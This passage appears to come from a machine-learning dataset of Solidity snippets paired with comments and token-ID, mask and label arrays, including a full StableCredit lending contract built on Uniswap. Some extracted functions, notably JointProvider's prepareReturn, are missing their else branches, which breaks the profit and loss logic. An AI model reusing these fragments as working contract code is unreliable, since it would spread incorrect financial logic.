3639,
2583,
12,
5,
8774,
3668,
9334,
315,
16507,
16665,
30,
17781,
8863,
203,
565,
289,
203,
203,
565,
445,
389,
6528,
28590,
1435,
2713,
1476,
5024,
288,
203,
3639,
2583,
12,
8774,
3668,
9334,
315,
16507,
16665,
30,
486,
17781,
8863,
203,
565,
289,
203,
2
] |
./full_match/3/0x9Cf53e772473189eAfeC7efA48eD2E1E446fa8FF/sources/delta.sol | Split between DELTA financial and pool intented outcome 50% split between pool and further fund for tokens and WETH | uint256 balanceWETHPreSplit = wETH.balanceOf(address(this));
| 8,225,021 | [
1,
5521,
3086,
2030,
48,
9833,
574,
19292,
649,
471,
2845,
10376,
329,
12884,
6437,
9,
1416,
3086,
2845,
471,
9271,
284,
1074,
364,
2430,
471,
678,
1584,
44,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2254,
5034,
11013,
59,
1584,
44,
1386,
5521,
273,
341,
1584,
44,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x4050eB90c15F27aa75b5CFcb934a26fDE60Cf9Cb/sources/contracts/JointProvider.sol | Interestingly, if you overpay on debt payment, the overpaid amount just sits in the strat. Report overpayment as profit | function prepareReturn(uint _debtOutstanding) internal override returns (uint _profit, uint _loss, uint _debtPayment) {
uint beforeWant = balanceOfWant();
rebalancer.collectTradingFees();
_profit += balanceOfWant().sub(beforeWant);
if (_debtOutstanding > 0) {
if (vault.strategies(address(this)).debtRatio == 0) {
_debtPayment = _liquidateAllPositions();
_loss = _debtOutstanding > _debtPayment ? _debtOutstanding.sub(_debtPayment) : 0;
(_debtPayment, _loss) = _liquidatePosition(_debtOutstanding);
}
}
if (_debtPayment > _debtOutstanding) {
_profit += _debtPayment.sub(_debtOutstanding);
_debtPayment = _debtOutstanding;
}
beforeWant = balanceOfWant();
rebalancer.sellRewards();
_profit += balanceOfWant().sub(beforeWant);
if (_profit > _loss) {
_profit = _profit.sub(_loss);
_loss = 0;
_loss = _loss.sub(_profit);
_profit = 0;
}
}
| 9,684,518 | [
1,
2465,
10100,
715,
16,
309,
1846,
1879,
10239,
603,
18202,
88,
5184,
16,
326,
1879,
29434,
3844,
2537,
272,
1282,
316,
326,
609,
270,
18,
8706,
1879,
9261,
487,
450,
7216,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
2911,
990,
12,
11890,
389,
323,
23602,
1182,
15167,
13,
2713,
3849,
1135,
261,
11890,
389,
685,
7216,
16,
2254,
389,
7873,
16,
2254,
389,
323,
23602,
6032,
13,
288,
203,
3639,
2254,
1865,
59,
970,
273,
11013,
951,
59,
970,
5621,
203,
3639,
283,
18770,
18,
14676,
1609,
7459,
2954,
281,
5621,
203,
3639,
389,
685,
7216,
1011,
11013,
951,
59,
970,
7675,
1717,
12,
5771,
59,
970,
1769,
203,
203,
3639,
309,
261,
67,
323,
23602,
1182,
15167,
405,
374,
13,
288,
203,
5411,
309,
261,
26983,
18,
701,
15127,
12,
2867,
12,
2211,
13,
2934,
323,
23602,
8541,
422,
374,
13,
288,
203,
7734,
389,
323,
23602,
6032,
273,
389,
549,
26595,
340,
1595,
11024,
5621,
203,
7734,
389,
7873,
273,
389,
323,
23602,
1182,
15167,
405,
389,
323,
23602,
6032,
692,
389,
323,
23602,
1182,
15167,
18,
1717,
24899,
323,
23602,
6032,
13,
294,
374,
31,
203,
7734,
261,
67,
323,
23602,
6032,
16,
389,
7873,
13,
273,
389,
549,
26595,
340,
2555,
24899,
323,
23602,
1182,
15167,
1769,
203,
5411,
289,
203,
3639,
289,
203,
203,
3639,
309,
261,
67,
323,
23602,
6032,
405,
389,
323,
23602,
1182,
15167,
13,
288,
203,
5411,
389,
685,
7216,
1011,
389,
323,
23602,
6032,
18,
1717,
24899,
323,
23602,
1182,
15167,
1769,
203,
5411,
389,
323,
23602,
6032,
273,
389,
323,
23602,
1182,
15167,
31,
203,
3639,
289,
203,
203,
3639,
1865,
59,
970,
273,
11013,
951,
59,
970,
5621,
203,
3639,
283,
18770,
18,
87,
1165,
17631,
14727,
5621,
2
] |
./full_match/80001/0xB69142c08BE2E2442e1A242fEfDBb25E1D460Ccc/sources/contracts/CarbonOffsetBatches.sol | @notice Returns all data from Batch-NFT @dev Used in TCO2 contract's receive hook `onERC721Received` | function getBatchNFTData(uint256 tokenId)
external
view
virtual
override
returns (
uint256,
uint256,
BatchStatus
)
{
return (
nftList[tokenId].projectVintageTokenId,
nftList[tokenId].quantity,
nftList[tokenId].status
);
}
| 853,620 | [
1,
1356,
777,
501,
628,
5982,
17,
50,
4464,
225,
10286,
316,
399,
3865,
22,
6835,
1807,
6798,
3953,
1375,
265,
654,
39,
27,
5340,
8872,
68,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
28812,
50,
4464,
751,
12,
11890,
5034,
1147,
548,
13,
203,
3639,
3903,
203,
3639,
1476,
203,
3639,
5024,
203,
3639,
3849,
203,
3639,
1135,
261,
203,
5411,
2254,
5034,
16,
203,
5411,
2254,
5034,
16,
203,
5411,
5982,
1482,
203,
3639,
262,
203,
565,
288,
203,
3639,
327,
261,
203,
5411,
290,
1222,
682,
63,
2316,
548,
8009,
4406,
58,
474,
410,
1345,
548,
16,
203,
5411,
290,
1222,
682,
63,
2316,
548,
8009,
16172,
16,
203,
5411,
290,
1222,
682,
63,
2316,
548,
8009,
2327,
203,
3639,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface UniswapPair {
function mint(address to) external returns (uint liquidity);
}
interface Oracle {
function getPriceUSD(address reserve) external view returns (uint);
}
interface UniswapRouter {
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
function factory() external view returns (address);
}
interface UniswapFactory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract StableCreditProtocol is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
// Oracle used for price debt data (external to the AMM balance to avoid internal manipulation)
Oracle public constant LINK = Oracle(0x271bf4568fb737cc2e6277e9B1EE0034098cDA2a);
UniswapRouter public constant UNI = UniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Maximum credit issued off of deposits (to avoid infinite leverage)
uint public constant MAX = 7500;
uint public constant BASE = 10000;
mapping (address => uint) public userCredit;
// user => token => credit
mapping (address => mapping(address => uint)) public credit;
// user => token => balance
mapping (address => mapping(address => uint)) public balances;
// user => address[] markets (credit markets supplied to)
mapping (address => address[]) public markets;
event Borrow(address indexed borrower, address indexed borrowed, uint creditIn, uint amountOut);
event Repay(address indexed borrower, address indexed repaid, uint creditOut, uint amountIn);
event Deposit(address indexed creditor, address indexed collateral, uint creditOut, uint amountIn, uint creditMinted);
event Withdraw(address indexed creditor, address indexed collateral, uint creditIn, uint creditOut, uint amountOut);
constructor () public ERC20Detailed("StableCredit", "scUSD", 8) {}
// Borrow exact amount of token output, can have variable USD input up to inMax
function borrowExactOut(address token, uint inMax, uint outExact) external {
_transfer(msg.sender, address(this), inMax);
IERC20(this).safeApprove(address(UNI), 0);
IERC20(this).safeApprove(address(UNI), inMax);
address[] memory _path = new address[](2);
_path[0] = address(this);
_path[1] = token;
uint[] memory _amounts = UNI.swapTokensForExactTokens(outExact, inMax, _path, msg.sender, now.add(1800));
_transfer(address(this), msg.sender, balanceOf(address(this)));
emit Borrow(msg.sender, token, _amounts[0], _amounts[1]);
}
// Borrow variable amount of token, given exact USD input
function borrowExactIn(address token, uint inExact, uint outMin) external {
_transfer(msg.sender, address(this), inExact);
IERC20(this).safeApprove(address(UNI), 0);
IERC20(this).safeApprove(address(UNI), inExact);
address[] memory _path = new address[](2);
_path[0] = address(this);
_path[1] = token;
uint[] memory _amounts = UNI.swapExactTokensForTokens(inExact, outMin, _path, msg.sender, now.add(1800));
emit Borrow(msg.sender, token, _amounts[0], _amounts[1]);
}
// Repay variable amount of token given exact output amount in USD
function repayExactOut(address token, uint inMax, uint outExact) external {
IERC20(token).safeTransferFrom(msg.sender, address(this), inMax);
IERC20(token).safeApprove(address(UNI), 0);
IERC20(token).safeApprove(address(UNI), inMax);
address[] memory _path = new address[](2);
_path[0] = token;
_path[1] = address(this);
uint[] memory _amounts = UNI.swapTokensForExactTokens(outExact, inMax, _path, msg.sender, now.add(1800));
IERC20(token).safeTransfer(msg.sender, IERC20(token).balanceOf(address(this)));
emit Repay(msg.sender, token, _amounts[1], _amounts[0]);
}
// Repay variable amount of USD, given exact amount of token input
function repayExactIn(address token, uint inExact, uint outMin) external {
IERC20(token).safeTransferFrom(msg.sender, address(this), inExact);
IERC20(token).safeApprove(address(UNI), 0);
IERC20(token).safeApprove(address(UNI), inExact);
address[] memory _path = new address[](2);
_path[0] = token;
_path[1] = address(this);
uint[] memory _amounts = UNI.swapExactTokensForTokens(inExact, outMin, _path, msg.sender, now.add(1800));
emit Repay(msg.sender, token, _amounts[1], _amounts[0]);
}
function depositAll(address token) external {
deposit(token, IERC20(token).balanceOf(msg.sender));
}
function deposit(address token, uint amount) public {
_deposit(token, amount);
}
// UNSAFE: No slippage protection, should not be called directly
function _deposit(address token, uint amount) internal {
uint _value = LINK.getPriceUSD(token).mul(amount).div(uint256(10)**ERC20Detailed(token).decimals());
require(_value > 0, "!value");
address _pair = UniswapFactory(UNI.factory()).getPair(token, address(this));
if (_pair == address(0)) {
_pair = UniswapFactory(UNI.factory()).createPair(token, address(this));
}
IERC20(token).safeTransferFrom(msg.sender, _pair, amount);
_mint(_pair, _value); // Amount of aUSD to mint
uint _before = IERC20(_pair).balanceOf(address(this));
UniswapPair(_pair).mint(address(this));
uint _after = IERC20(_pair).balanceOf(address(this));
// Assign LP tokens to user, token <> pair is deterministic thanks to CREATE2
balances[msg.sender][token] = balances[msg.sender][token].add(_after.sub(_before));
// Calculate utilization ratio of the asset. The more an asset contributes to the system, the less credit issued
// This mechanism avoids large influx of deposits to overpower the system
// Calculated after deposit to see impact of current deposit (prevents front-running credit)
uint _credit = _value.mul(utilization(token)).div(BASE);
credit[msg.sender][token] = credit[msg.sender][token].add(_credit);
userCredit[msg.sender] = userCredit[msg.sender].add(_credit);
_mint(msg.sender, _credit);
markets[msg.sender].push(token);
emit Deposit(msg.sender, token, _credit, amount, _value);
}
function withdrawAll(address token) external {
_withdraw(token, IERC20(this).balanceOf(msg.sender));
}
function withdraw(address token, uint amount) external {
_withdraw(token, amount);
}
// UNSAFE: No slippage protection, should not be called directly
function _withdraw(address token, uint amount) internal {
uint _credit = credit[msg.sender][token];
uint _uni = balances[msg.sender][token];
if (_credit < amount) {
amount = _credit;
}
_burn(msg.sender, amount);
credit[msg.sender][token] = credit[msg.sender][token].sub(amount);
userCredit[msg.sender] = userCredit[msg.sender].sub(amount);
// Calculate % of collateral to release
uint _burned = _uni.mul(amount).div(_credit);
address _pair = UniswapFactory(UNI.factory()).getPair(token, address(this));
IERC20(_pair).safeApprove(address(UNI), 0);
IERC20(_pair).safeApprove(address(UNI), _burned);
uint _before = IERC20(_pair).balanceOf(address(this));
UNI.removeLiquidity(
token,
address(this),
_burned,
0,
0,
address(this),
now.add(1800)
);
uint _after = IERC20(_pair).balanceOf(address(this));
_burned = _before.sub(_after);
if (_burned > _uni) {
_burned = _uni;
}
balances[msg.sender][token] = balances[msg.sender][token].sub(_burned);
uint _amountA = IERC20(token).balanceOf(address(this));
uint _amountB = balanceOf(address(this));
_burn(address(this), _amountB); // Amount of aUSD to burn (value of A leaving the system)
IERC20(token).safeTransfer(msg.sender, _amountA);
emit Withdraw(msg.sender, token, amount, _amountB, _amountA);
}
function getMarkets(address owner) external view returns (address[] memory) {
return markets[owner];
}
function utilization(address token) public view returns (uint) {
return _utilization(token, 0);
}
// How much system liquidity is provided by this asset
function _utilization(address token, uint amount) internal view returns (uint) {
address _pair = UniswapFactory(UNI.factory()).getPair(token, address(this));
uint _ratio = BASE.sub(BASE.mul(balanceOf(_pair).add(amount)).div(totalSupply()));
if (_ratio == 0) {
return MAX;
}
return _ratio > MAX ? MAX : _ratio;
}
} | Calculate % of collateral to release | uint _burned = _uni.mul(amount).div(_credit);
| 1,166,385 | [
1,
8695,
738,
434,
4508,
2045,
287,
358,
3992,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2254,
389,
70,
321,
329,
273,
389,
318,
77,
18,
16411,
12,
8949,
2934,
2892,
24899,
20688,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x2A77Ac6b6c7E4E3fF06CCA52537360EE2C13992E/sources/src/ERC721ContractMetadataUpgradeable.sol | Set the new max supply. | ERC721ContractMetadataStorage.layout()._maxSupply = newMaxSupply;
| 4,946,072 | [
1,
694,
326,
394,
943,
14467,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
